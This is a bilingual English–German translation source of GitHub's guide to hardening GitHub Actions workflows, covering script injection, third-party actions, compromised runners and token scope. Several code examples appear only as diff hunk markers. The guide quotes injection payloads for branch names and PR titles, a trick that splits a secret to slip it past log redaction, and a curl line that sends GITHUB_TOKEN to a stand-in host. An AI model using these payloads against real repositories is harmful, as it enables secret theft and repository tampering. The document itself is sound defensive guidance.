Beim Erstellen von Workflows, [benutzerdefinierten Aktionen](/actions/creating-actions/about-actions) und [zusammengesetzten Aktionen](/actions/creating-actions/creating-a-composite-action) solltest du immer überprüfen, ob dein Code gegebenenfalls nicht vertrauenswürdige Eingaben von Angreifer*innen ausführen kann. Dies kann passieren, wenn Angreifer*innen bösartige Befehle und Skripts zu einem Kontext hinzufügen. Bei der Ausführung deines Workflows werden diese Zeichenfolgen möglicherweise als Code interpretiert, der dann im Runner ausgeführt wird.
Attackers can add their own malicious content to the [`github` context](/actions/reference/context-and-expression-syntax-for-github-actions#github-context), which should be treated as potentially untrusted input. These contexts typically end with `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, and `title`. For example: `github.event.issue.title`, or `github.event.pull_request.body`.
Angreifer*innen können dem [`github`-Kontext](/actions/reference/context-and-expression-syntax-for-github-actions#github-context) eigene bösartige Inhalte hinzufügen, die als potenziell nicht vertrauenswürdige Eingaben behandelt werden sollten. Diese Kontexte enden üblicherweise auf `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref` und `title`. Beispiel: `github.event.issue.title` oder `github.event.pull_request.body`
You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of {% data variables.product.prodname_actions %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)."
Du solltest sicherstellen, dass diese Werte nicht direkt in Workflows, Aktionen, API-Aufrufen oder an anderen Stellen eingefügt werden, an denen sie als ausführbarer Code interpretiert werden können. Indem du denselben defensiven Programmieransatz wie bei anderem privilegiertem Anwendungscode verwendest, kannst du zur Sicherheitshärtung bei der Verwendung von {% data variables.product.prodname_actions %} beitragen. Informationen zu möglichen Schritten, die Angreifer*innen ausführen können, findest du unter [Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner) („Potenzielle Auswirkungen eines kompromittierten Runners“).
In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, `zzz";echo${IFS}"hello";#` would be a valid branch name and would be a possible attack vector for a target repository.
Darüber hinaus gibt es weitere weniger offensichtliche Quellen für potenziell nicht vertrauenswürdige Eingaben. Dazu zählen z. B. Verzweigungsnamen und E-Mail-Adressen, die in Bezug auf ihre zulässigen Inhalte ziemlich flexibel sein können. `zzz";echo${IFS}"hello";#` ist beispielsweise ein zulässiger Verzweigungsname, der ein möglicher Angriffsvektor für ein Zielrepository wäre.
The following sections explain how you can help mitigate the risk of script injection.
In den folgenden Abschnitten wird erläutert, wie du das Risiko der Skripteinschleusung verringern kannst.
### Example of a script injection attack
### Beispiel für einen Angriff durch Skripteinschleusung
A script injection attack can occur directly within a workflow's inline script. In the following example, an action uses an expression to test the validity of a pull request title, but also adds the risk of script injection:
Ein Angriff durch Skripteinschleusung kann direkt innerhalb des Inlineskripts eines Workflows auftreten. Im folgenden Beispiel verwendet eine Aktion einen Ausdruck, um die Gültigkeit eines Pull Request-Titels zu testen. Dies geht jedoch mit dem Risiko der Skripteinschleusung einher:
{% raw %}
```
@ -91,23 +95,23 @@ A script injection attack can occur directly within a workflow's inline script.
```
{% endraw %}
This example is vulnerable to script injection because the `run` command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside {% raw %}`${{ }}`{% endraw %} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection.
Bei diesem Beispiel besteht das Risiko der Skripteinschleusung, da der Befehl `run` innerhalb eines temporären Shellskripts im Runner ausgeführt wird. Vor der Ausführung des Shellskripts werden die Ausdrücke innerhalb von {% raw %}`${{ }}`{% endraw %} ausgewertet und anschließend durch die resultierenden Werte ersetzt. Bei diesem Vorgang besteht die Möglichkeit, dass Shellbefehle eingeschleust werden.
To inject commands into this workflow, the attacker could create a pull request with a title of `a"; ls $GITHUB_WORKSPACE"`:
Angreifer*innen könnten einen Pull Request mit dem Titel `a"; ls $GITHUB_WORKSPACE"` erstellen, um Befehle in diesem Workflow einzuschleusen:
![Example of script injection in PR title](/assets/images/help/images/example-script-injection-pr-title.png)
![Beispiel für die Skripteinschleusung im Titel eines Pull Requests](/assets/images/help/images/example-script-injection-pr-title.png)
In this example, the `"` character is used to interrupt the {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %} statement, allowing the `ls` command to be executed on the runner. You can see the output of the `ls` command in the log:
In diesem Beispiel wird die {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %}-Anweisung mithilfe des Zeichens `"` unterbrochen, damit der Befehl `ls` im Runner ausgeführt werden kann. Die Ausgabe des Befehls `ls` erscheint im Protokoll:
![Example result of script injection](/assets/images/help/images/example-script-injection-result.png)
![Beispiel für das Ergebnis einer Skripteinschleusung](/assets/images/help/images/example-script-injection-result.png)
## Good practices for mitigating script injection attacks
## Bewährte Methoden zum Verhindern von Angriffen durch Skripteinschleusung
There are a number of different approaches available to help you mitigate the risk of script injection:
Es gibt verschiedene Ansätze, um das Risiko der Skripteinschleusung zu verhindern:
### Using an action instead of an inline script (recommended)
### Verwenden einer Aktion anstelle eines Inlineskripts (empfohlen)
The recommended approach is to create an action that processes the context value as an argument. This approach is not vulnerable to the injection attack, as the context value is not used to generate a shell script, but is instead passed to the action as an argument:
Bei dieser empfohlenen Vorgehensweise erstellst du eine Aktion, die den Kontextwert als Argument verarbeitet. Da der Kontextwert bei diesem Ansatz nicht zum Generieren eines Shellskripts verwendet wird, sondern stattdessen als Argument an die Aktion übergeben wird, wird das Risiko der Skripteinschleusung minimiert:
{% raw %}
```
@ -117,11 +121,11 @@ with:
```
{% endraw %}
### Using an intermediate environment variable
### Verwenden einer Zwischenumgebungsvariable
For inline scripts, the preferred approach to handling untrusted input is to set the value of the expression to an intermediate environment variable.
Bei Inlineskripts sollte der Wert des Ausdrucks auf eine Zwischenumgebungsvariable festgelegt werden, um nicht vertrauenswürdige Eingaben zu verhindern.
The following example uses Bash to process the `github.event.pull_request.title` value as an environment variable:
Im folgenden Beispiel wird Bash verwendet, um den `github.event.pull_request.title`-Wert als Umgebungsvariable zu verarbeiten:
{% raw %}
```
@ -139,95 +143,94 @@ The following example uses Bash to process the `github.event.pull_request.title`
```
{% endraw %}
In this example, the attempted script injection is unsuccessful:
In diesem Beispiel ist der Versuch der Skripteinschleusung nicht erfolgreich:
![Example of mitigated script injection](/assets/images/help/images/example-script-injection-mitigated.png)
![Beispiel für eine nicht erfolgreiche Skripteinschleusung](/assets/images/help/images/example-script-injection-mitigated.png)
With this approach, the value of the {% raw %}`${{ github.event.issue.title }}`{% endraw %} expression is stored in memory and used as a variable, and doesn't interact with the script generation process. In addition, consider using double quote shell variables to avoid [word splitting](https://github.com/koalaman/shellcheck/wiki/SC2086), but this is [one of many](https://mywiki.wooledge.org/BashPitfalls) general recommendations for writing shell scripts, and is not specific to {% data variables.product.prodname_actions %}.
Bei dieser Vorgehensweise wird der Wert des {% raw %}`${{ github.event.issue.title }}`{% endraw %}-Ausdrucks im Arbeitsspeicher gespeichert und als Variable verwendet. Es findet keine Interaktion mit dem Skriptgenerierungsprozess statt. Darüber hinaus solltest du gegebenenfalls Shellvariablen mit doppelten Anführungszeichen verwenden, um eine [Wortteilung](https://github.com/koalaman/shellcheck/wiki/SC2086) zu vermeiden. Dies ist jedoch [eine der vielen](https://mywiki.wooledge.org/BashPitfalls) allgemeinen Empfehlungen zum Schreiben von Shellskripts, die nicht speziell für {% data variables.product.prodname_actions %} gilt.
{% ifversion fpt or ghec %}
### Using starter workflows for code scanning
### Verwenden von Startworkflows für die Codeüberprüfung
{% data reusables.advanced-security.starter-workflows-beta %}
{% data variables.product.prodname_code_scanning_capc %} allows you to find security vulnerabilities before they reach production. {% data variables.product.product_name %} provides starter workflows for {% data variables.product.prodname_code_scanning %}. You can use these suggested workflows to construct your {% data variables.product.prodname_code_scanning %} workflows, instead of starting from scratch. {% data variables.product.company_short%}'s workflow, the {% data variables.code-scanning.codeql_workflow %}, is powered by {% data variables.product.prodname_codeql %}. There are also third-party starter workflows available.
Die {% data reusables.advanced-security.starter-workflows-beta %} {% data variables.product.prodname_code_scanning_capc %} ermöglicht die Ermittlung von Sicherheitsrisiken, bevor Code in einer Produktionsumgebung verwendet wird. {% data variables.product.product_name %} bietet Startworkflows für die {% data variables.product.prodname_code_scanning %}. Du kannst diese vorgeschlagenen Workflows zum Erstellen von Workflows zur {% data variables.product.prodname_code_scanning %} verwenden. So musst du die Workflows nicht von Grund auf neu erstellen. Der Workflow von {% data variables.product.company_short%}, der {% data variables.code-scanning.codeql_workflow %}, basiert auf {% data variables.product.prodname_codeql %}. Es stehen auch Startworkflows von Drittanbietern zur Verfügung.
For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning)" and "[Setting up {% data variables.product.prodname_code_scanning %} using starter workflows](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)."
Weitere Informationen findest du unter [About {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning) („Informationen zur Codeüberprüfung“) und [Setting up {% data variables.product.prodname_code_scanning %} using starter workflows](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows) („Einrichten der Codeüberprüfung mithilfe von Startworkflows“).
{% endif %}
### Restricting permissions for tokens
### Einschränken von Berechtigungen für Token
To help mitigate the risk of an exposed token, consider restricting the assigned permissions. For more information, see "[Modifying the permissions for the GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token)."
Du solltest die zugewiesenen Berechtigungen einschränken, um das Risiko offengelegter Token zu mindern. Weitere Informationen findest du unter [Modifying the permissions for the GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token) („Ändern der Berechtigungen für GITHUB_TOKEN“).
{% ifversion fpt or ghec or ghes > 3.4 %}
## Using OpenID Connect to access cloud resources
## Verwenden von OpenID Connect für den Zugriff auf Cloudressourcen
{% data reusables.actions.about-oidc-short-overview %}
{% endif %}
## Using third-party actions
## Verwenden von Drittanbieteraktionen
The individual jobs in a workflow can interact with (and compromise) other jobs. For example, a job querying the environment variables used by a later job, writing files to a shared directory that a later job processes, or even more directly by interacting with the Docker socket and inspecting other running containers and executing commands in them.
Die einzelnen Aufträge in einem Workflow können mit anderen Aufträgen interagieren (und diese kompromittieren). Beispiel: Ein Auftrag, der die von einem späteren Auftrag verwendeten Umgebungsvariablen abfragt, Dateien in ein freigegebenes Verzeichnis schreibt, das von einem späteren Auftrag verarbeitet wird, oder sogar direkt mit dem Docker-Socket interagiert, andere ausgeführte Container überprüft und Befehle in diesen Containern ausführt.
This means that a compromise of a single action within a workflow can be very significant, as that compromised action would have access to all secrets configured on your repository, and may be able to use the `GITHUB_TOKEN` to write to the repository. Consequently, there is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)."
Eine einzelne kompromittierte Aktion in einem Workflow kann also große Auswirkungen haben, da diese kompromittierte Aktion Zugriff auf alle Geheimnisse hat, die in deinem Repository konfiguriert sind. Außerdem kann diese Aktion gegebenenfalls `GITHUB_TOKEN` verwenden, um Inhalte in das Repository zu schreiben. Folglich besteht ein erhebliches Risiko, wenn Aktionen aus Drittanbieterrepositorys in {% data variables.product.prodname_dotcom %} ausgeführt werden. Informationen zu möglichen Schritten, die Angreifer*innen ausführen können, findest du unter [Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner) („Potenzielle Auswirkungen eines kompromittierten Runners“).
You can help mitigate this risk by following these good practices:
Du kannst dieses Risiko verringern, indem du die folgenden bewährten Methoden anwendest:
* **Pin actions to a full length commit SHA**
* **Hefte Aktionen an einen Commit-SHA voller Länge an**
Pinning an action to a full length commit SHA is currently the only way to use an action as an immutable release. Pinning to a particular SHA helps mitigate the risk of a bad actor adding a backdoor to the action's repository, as they would need to generate a SHA-1 collision for a valid Git object payload.
Das Anheften einer Aktion an einen Commit-SHA voller Länge ist derzeit die einzige Möglichkeit, eine Aktion als unveränderliche Version zu verwenden. Durch das Anheften an einen bestimmten SHA wird das Risiko von Angriffen verringert, bei denen eine Hintertür zum Repository der Aktion hinzugefügt wird. Der Grund dafür ist, dass in diesem Fall eine SHA-1-Kollision für eine gültige Git-Objektpayload generiert werden müsste.
* **Audit the source code of the action**
* **Überprüfe den Quellcode der Aktion**
Ensure that the action is handling the content of your repository and secrets as expected. For example, check that secrets are not sent to unintended hosts, or are not inadvertently logged.
Stelle sicher, dass die Aktion den Inhalt deines Repositorys und deine Geheimnisse wie erwartet verarbeitet. Überprüfe beispielsweise, ob Geheimnisse nicht an unbeabsichtigte Hosts gesendet oder nicht versehentlich protokolliert werden.
* **Pin actions to a tag only if you trust the creator**
* **Hefte Aktionen nur dann an Tags, wenn du den Ersteller als vertrauenswürdig einstufst**
Although pinning to a commit SHA is the most secure option, specifying a tag is more convenient and is widely used. If youd like to specify a tag, then be sure that you trust the action's creators. The Verified creator badge on {% data variables.product.prodname_marketplace %} is a useful signal, as it indicates that the action was written by a team whose identity has been verified by {% data variables.product.prodname_dotcom %}. Note that there is risk to this approach even if you trust the author, because a tag can be moved or deleted if a bad actor gains access to the repository storing the action.
Wenngleich das Anheften an einen Commit-SHA die sicherste Möglichkeit ist, ist das Angeben eines Tags unkomplizierter und eine weitverbreitete Vorgehensweise. Wenn du ein Tag angeben möchtest, stelle sicher, dass du den Erstellern der Aktion vertraust. Der Badge für überprüfte Ersteller in {% data variables.product.prodname_marketplace %} zeigt an, dass die Aktion von einem Team erstellt wurde, dessen Identität von {% data variables.product.prodname_dotcom %} überprüft und bestätigt wurde. Beachte, dass diese Vorgehensweise auch dann ein Risiko birgt, wenn der oder die Ersteller*in als vertrauenswürdig eingestuft wird. Der Grund dafür ist, dass ein Tag verschoben oder gelöscht werden kann, wenn ein*e böswillige*r Akteur*in Zugriff auf das Repository erhält, in dem die Aktion gespeichert ist.
{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
## Reusing third-party workflows
## Wiederverwenden von Drittanbieterworkflows
The same principles described above for using third-party actions also apply to using third-party workflows. You can help mitigate the risks associated with reusing workflows by following the same good practices outlined above. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
Die oben beschriebenen Grundsätze für die Verwendung von Drittanbieteraktionen gelten auch für die Verwendung von Drittanbieterworkflows. Wende die oben beschriebenen bewährten Methoden auch bei Workflows an, um die Risiken bei der Wiederverwendung von Workflows zu verringern. Weitere Informationen findest du unter [Reusing workflows](/actions/learn-github-actions/reusing-workflows) („Wiederverwenden von Workflows“).
{% endif %}
{% ifversion internal-actions %}
## Allowing workflows to access internal repositories
## Hinzufügen von Workflows für den Zugriff auf interne Repositorys
{% data reusables.actions.outside-collaborators-internal-actions %} For more information, see "[Sharing actions and workflows with your enterprise](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise)."
{% data reusables.actions.outside-collaborators-internal-actions %} Weitere Informationen findest du unter [Sharing actions and workflows with your enterprise](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise) („Freigeben von Aktionen und Workflows für dein Unternehmen“).
{% endif %}
{% ifversion allow-actions-to-approve-pr %}
## Preventing {% data variables.product.prodname_actions %} from {% ifversion allow-actions-to-approve-pr-with-ent-repo %}creating or {% endif %}approving pull requests
## Hindern von {% data variables.product.prodname_actions %} am {% ifversion allow-actions-to-approve-pr-with-ent-repo %}Erstellen oder {% endif %}Genehmigen von Pull Requests
{% data reusables.actions.workflow-pr-approval-permissions-intro %} Allowing workflows, or any other automation, to {% ifversion allow-actions-to-approve-pr-with-ent-repo %}create or {% endif %}approve pull requests could be a security risk if the pull request is merged without proper oversight.
{% data reusables.actions.workflow-pr-approval-permissions-intro %} Wenn du Workflows oder anderen Automatisierungen erlaubst, {% ifversion allow-actions-to-approve-pr-with-ent-repo %} Pull Requests zu erstellen oder {% endif %}zu genehmigen, kann dies ein Sicherheitsrisiko darstellen, falls der Pull Request ohne angemessene Aufsicht gemergt wird.
For more information on how to configure this setting, see {% ifversion allow-actions-to-approve-pr-with-ent-repo %}{% ifversion ghes or ghec or ghae %}"[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#preventing-github-actions-from-creating-or-approving-pull-requests)",{% endif %}{% endif %} "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization#preventing-github-actions-from-{% ifversion allow-actions-to-approve-pr-with-ent-repo %}creating-or-{% endif %}approving-pull-requests)"{% ifversion allow-actions-to-approve-pr-with-ent-repo %}, and "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#preventing-github-actions-from-creating-or-approving-pull-requests)"{% endif %}.
Weitere Informationen zum Konfigurieren dieser Einstellung findest du unter {% ifversion allow-actions-to-approve-pr-with-ent-repo %}{% ifversion ghes or ghec or ghae %}[Erzwingen von Richtlinien für {% data variables.product.prodname_actions %} in deinem Unternehmen](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#preventing-github-actions-from-creating-or-approving-pull-requests),{% endif %}{% endif %} [Deaktivieren oder Begrenzen von {% data variables.product.prodname_actions %} für deine Organisation](/github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization#preventing-github-actions-from-{% ifversion allow-actions-to-approve-pr-with-ent-repo %}creating-or-{% endif %}approving-pull-requests){% ifversion allow-actions-to-approve-pr-with-ent-repo %} und [Verwalten von {% data variables.product.prodname_actions %}-Einstellungen für ein Repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#preventing-github-actions-from-creating-or-approving-pull-requests){% endif %}.
{% endif %}
## Using OpenSSF Scorecards to secure workflows
## Verwenden von OpenSSF-Scorecards, um Workflows zu schützen
[Scorecards](https://github.com/ossf/scorecard) is an automated security tool that flags risky supply chain practices. You can use the [Scorecards action](https://github.com/marketplace/actions/ossf-scorecard-action) and [starter workflow](https://github.com/actions/starter-workflows) to follow best security practices. Once configured, the Scorecards action runs automatically on repository changes, and alerts developers about risky supply chain practices using the built-in code scanning experience. The Scorecards project runs a number of checks, including script injection attacks, token permissions, and pinned actions.
[Scorecards](https://github.com/ossf/scorecard) sind ein automatisiertes Sicherheitstool, mit dem Lieferkettenaktionen gekennzeichnet werden, die ein Risiko bergen. Du kannst die [Scorecards-Aktion](https://github.com/marketplace/actions/ossf-scorecard-action) und den [Startworkflow](https://github.com/actions/starter-workflows) verwenden, um bewährte Sicherheitsmethoden anzuwenden. Nach der Konfiguration wird die Scorecards-Aktion bei Repositoryänderungen automatisch ausgeführt, und Entwickler*innen werden mithilfe der integrierten Codeüberprüfung über riskante Lieferkettenaktionen informiert. Das Scorecards-Projekt führt eine Reihe von Prüfungen aus, mit denen u. a. Angriffe durch Skripteinschleusung, Tokenberechtigungen und angeheftete Aktionen ermittelt bzw. untersucht werden.
## Potential impact of a compromised runner
## Potenzielle Auswirkungen eines kompromittierten Runners
These sections consider some of the steps an attacker can take if they're able to run malicious commands on a {% data variables.product.prodname_actions %} runner.
In diesen Abschnitten werden einige Schritte beschrieben, die Angreifer*innen ausführen können, wenn sie böswillige Befehle in einem {% data variables.product.prodname_actions %}-Runner ausführen können.
{% note %}
**Note:** {% data variables.product.prodname_dotcom %}-hosted runners do not scan for malicious code downloaded by a user during their job, such as a compromised third party library.
**Hinweis:** Von {% data variables.product.prodname_dotcom %} gehostete Runner führen keine Scans nach schädlichem Code (z. B. einer kompromittierten Drittanbieterbibliothek) durch, der während des Auftrags von Benutzer*innen heruntergeladen wurde.
{% endnote %}
### Accessing secrets
### Zugreifen auf Geheimnisse
Workflows triggered using the `pull_request` event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as `issue_comment`, `issues` and `push`, where the attacker could attempt to steal repository secrets or use the write permission of the job's [`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token).
Workflows, die mit dem `pull_request`-Ereignis ausgelöst werden, verfügen ausschließlich über Leseberechtigungen und haben keinen Zugriff auf Geheimnisse. Diese Berechtigungen variieren jedoch für verschiedene Ereignisauslöser wie `issue_comment`, `issues` und `push`, bei denen Angreifer*innen versuchen könnten, Repositorygeheimnisse auszuspähen oder die Schreibberechtigung des [`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token) eines Auftrags zu verwenden.
- If the secret or token is set to an environment variable, it can be directly accessed through the environment using `printenv`.
- If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible.
- For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument:
- Wenn das Geheimnis oder Token auf eine Umgebungsvariable festgelegt ist, kann mithilfe von `printenv` direkt über die Umgebung darauf zugegriffen werden.
- Wird das Geheimnis direkt in einem Ausdruck verwendet, wird das generierte Shellskript auf dem Datenträger gespeichert, und es kann darauf zugegriffen werden.
- Bei benutzerdefinierten Aktionen kann das Risiko abhängig davon variieren, wie ein Programm das Geheimnis nutzt, das aus dem Argument abgerufen wurde:
{% raw %}
```
@ -237,154 +240,151 @@ Workflows triggered using the `pull_request` event have read-only permissions an
```
{% endraw %}
Although {% data variables.product.prodname_actions %} scrubs secrets from memory that are not referenced in the workflow (or an included action), the `GITHUB_TOKEN` and any referenced secrets can be harvested by a determined attacker.
Wenngleich {% data variables.product.prodname_actions %} ein Scrubbing für Geheimnisse aus dem Arbeitsspeicher ausführt, auf die nicht im Workflow verwiesen wird bzw. die nicht in einer Aktion enthalten sind, können `GITHUB_TOKEN` und Geheimnisse, auf die verwiesen wird, von Angreifer*innen ausgespäht werden.
### Exfiltrating data from a runner
### Exfiltrieren von Daten aus einem Runner
An attacker can exfiltrate any stolen secrets or other data from the runner. To help prevent accidental secret disclosure, {% data variables.product.prodname_actions %} [automatically redact secrets printed to the log](/actions/reference/encrypted-secrets#accessing-your-secrets), but this is not a true security boundary because secrets can be intentionally sent to the log. For example, obfuscated secrets can be exfiltrated using `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. In addition, since the attacker may run arbitrary commands, they could use HTTP requests to send secrets or other repository data to an external server.
Angreifer*innen können sämtliche gestohlenen Geheimnisse oder andere Daten aus dem Runner exfiltrieren. Damit die versehentliche Offenlegung von Geheimnissen verhindert wird, führt {% data variables.product.prodname_actions %} eine [automatische Bearbeitung von Geheimnissen durch, die im Protokoll ausgegeben werden](/actions/reference/encrypted-secrets#accessing-your-secrets). Dies ist jedoch kein wirklicher Schutz, da die Geheimnisse absichtlich an das Protokoll gesendet werden können. So können verschleierte Geheimnisse beispielweise mithilfe von `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};` exfiltriert werden. Und da Angreifer*innen auch beliebige Befehle ausführen können, können sie Geheimnisse oder andere Repositorydaten mithilfe von HTTP-Anforderungen an einen externen Server senden.
### Stealing the job's `GITHUB_TOKEN`
### Diebstahl des `GITHUB_TOKEN` eines Auftrags
It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#`.
Es ist möglich, dass Angreifer*innen das `GITHUB_TOKEN` eines Auftrags stehlen. Der {% data variables.product.prodname_actions %}-Runner empfängt automatisch ein generiertes `GITHUB_TOKEN` mit Berechtigungen, die auf das Repository beschränkt sind, das den Workflow enthält. Nachdem der Auftrag abgeschlossen wurde, verliert das Token seine Gültigkeit. Das abgelaufene Token bietet keinen Nutzen für Angreifer*innen. Zur Umgehung dieser Einschränkung kann der Angriff automatisiert und in Sekundenbruchteilen ausgeführt werden, indem ein vom Angreifer oder von der Angreiferin gesteuerter Server mit dem Token aufgerufen wird. Beispiel: `a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#`.
### Modifying the contents of a repository
### Ändern der Repositoryinhalte
The attacker server can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API to [modify repository content](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token), including releases, if the assigned permissions of `GITHUB_TOKEN` [are not restricted](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token).
Der Angreiferserver kann die {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}-API verwenden, um [Repositoryinhalte zu ändern](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token). Dies umfasst auch die Versionen, wenn die zugewiesenen Berechtigungen von `GITHUB_TOKEN`[nicht eingeschränkt sind](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token).
## Considering cross-repository access
## Grundlegendes zum repositoryübergreifenden Zugriff
{% data variables.product.prodname_actions %} is intentionally scoped for a single repository at a time. The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file, elevating the permissions of the `GITHUB_TOKEN` if necessary. Users have specific permissions for each repository, so allowing the `GITHUB_TOKEN` for one repository to grant access to another would impact the {% data variables.product.prodname_dotcom %} permission model if not implemented carefully. Similarly, caution must be taken when adding {% data variables.product.prodname_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname_dotcom %} permission model by inadvertently granting broad access to collaborators.
Die Berechtigungen von {% data variables.product.prodname_actions %} sind bewusst für nur jeweils ein Repository ausgelegt. Mit `GITHUB_TOKEN` wird die gleiche Zugriffsstufe erteilt wie die von Benutzer*innen mit Schreibzugriff. Denn alle Benutzer*innen mit Schreibzugriff können auf dieses Token zugreifen, indem du eine Workflowdatei erstellst oder änderst und dabei die Berechtigungen von `GITHUB_TOKEN` bei Bedarf erhöhst. Benutzer*innen verfügen über spezifische Berechtigungen für die einzelnen Repositorys. Wenn das `GITHUB_TOKEN` für ein Repository Zugriff auf ein anderes Repository ermöglichen würde, könnte sich dies bei nicht sorgfältiger Implementierung daher auf das {% data variables.product.prodname_dotcom %}-Berechtigungsmodell auswirken. Gleichermaßen ist Vorsicht geboten, wenn {% data variables.product.prodname_dotcom %}-Authentifizierungstoken zu einem Workflow hinzugefügt werden. Denn auch dies kann sich auf das {% data variables.product.prodname_dotcom %}-Berechtigungsmodell auswirken, wenn Projektmitarbeiter*innen unbeabsichtigterweise umfangreiche Zugriffsberechtigungen zugewiesen werden.
We have [a plan on the {% data variables.product.prodname_dotcom %} roadmap](https://github.com/github/roadmap/issues/74) to support a flow that allows cross-repository access within {% data variables.product.product_name %}, but this is not yet a supported feature. Currently, the only way to perform privileged cross-repository interactions is to place a {% data variables.product.prodname_dotcom %} authentication token or SSH key as a secret within the workflow. Because many authentication token types do not allow for granular access to specific resources, there is significant risk in using the wrong token type, as it can grant much broader access than intended.
Wir verfügen über [einen Plan in der {% data variables.product.prodname_dotcom %}-Roadmap](https://github.com/github/roadmap/issues/74) zur Unterstützung eines Flows, der einen repositoryübergreifenden Zugriff innerhalb von {% data variables.product.product_name %} ermöglicht. Dies ist jedoch noch kein unterstütztes Feature. Derzeit besteht die einzige Möglichkeit für privilegierte repositoryübergreifende Interaktionen darin, ein {% data variables.product.prodname_dotcom %}-Authentifizierungstoken oder einen SSH-Schlüssel als Geheimnis innerhalb des Workflows einzusetzen. Da viele Authentifizierungstokentypen keinen differenzierten Zugriff auf bestimmte Ressourcen ermöglichen, besteht ein erhebliches Risiko durch die Verwendung des falschen Tokentyps, mit dem gegebenenfalls wesentlich umfangreichere Zugriffsberechtigungen zugewiesen werden als beabsichtigt.
This list describes the recommended approaches for accessing repository data within a workflow, in descending order of preference:
In dieser Liste sind die empfohlenen Vorgehensweisen für den Zugriff auf Repositorydaten innerhalb eines Workflows in absteigender Präferenzreihenfolge aufgeführt:
1. **The `GITHUB_TOKEN`**
- This token is intentionally scoped to the single repository that invoked the workflow, and can have the same level of access as a write-access user on the repository. The token is created before each job begins and expires when the job is finished. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)."
- The `GITHUB_TOKEN` should be used whenever possible.
2. **Repository deploy key**
- Deploy keys are one of the only credential types that grant read or write access to a single repository, and can be used to interact with another repository within a workflow. For more information, see "[Managing deploy keys](/developers/overview/managing-deploy-keys#deploy-keys)."
- Note that deploy keys can only clone and push to the repository using Git, and cannot be used to interact with the REST or GraphQL API, so they may not be appropriate for your requirements.
3. **{% data variables.product.prodname_github_app %} tokens**
- {% data variables.product.prodname_github_apps %} can be installed on select repositories, and even have granular permissions on the resources within them. You could create a {% data variables.product.prodname_github_app %} internal to your organization, install it on the repositories you need access to within your workflow, and authenticate as the installation within your workflow to access those repositories.
